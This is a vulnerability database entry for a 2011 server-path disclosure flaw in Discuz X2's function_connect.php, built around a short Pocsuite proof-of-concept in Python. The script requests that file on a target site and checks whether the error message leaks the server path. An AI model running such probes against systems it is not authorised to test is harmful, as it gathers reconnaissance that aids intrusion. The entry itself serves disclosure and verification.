Lucene search
K

Discuz x2 source/function/function_connect.php 泄漏服务器物理路径

🗓️ 25 Nov 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

Discuz x2 function_connect.php Path Disclosure vulnerabilit

Code

                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-

from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register
from pocsuite.lib.utils.password import getWeakPassword
from pocsuite.lib.utils.password import getLargeWeakPassword
import re


class TestPOC(POCBase):
    vulID = '24254'  # ssvid
    version = '1'
    author = 'do9gy'
    vulDate = '2011-11-25'
    createDate = '2015-09-29'
    updateDate = '2015-09-29'
    references = ['http://old.sebug.net/vuldb/ssvid-24254']
    name = 'Discuz function_connect.php Path Disclosure vulnerability'
    appPowerLink = 'http://www.discuz.com/'
    appName = 'discuz'
    appVersion = 'discuz x2.0'
    vulType = 'Path Disclosure'
    desc = '''
       Discuz function_connect.php Path Disclosure vulnerability
    '''
    samples = ['']

    def _attack(self):
        return self._verify() 

    def _verify(self, verify=True):
        result = {}
        vul_url = '%s/source/function/function_connect.php' % self.url
        payload = {
            'exp':''
               }

        response = req.get(vul_url+payload['exp'])
        m = re.match(r'[\s\S]*Call to undefined function',response.text)
        if m:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Nov 2011 00:00Current
7.1High risk
Vulners AI Score7.1
24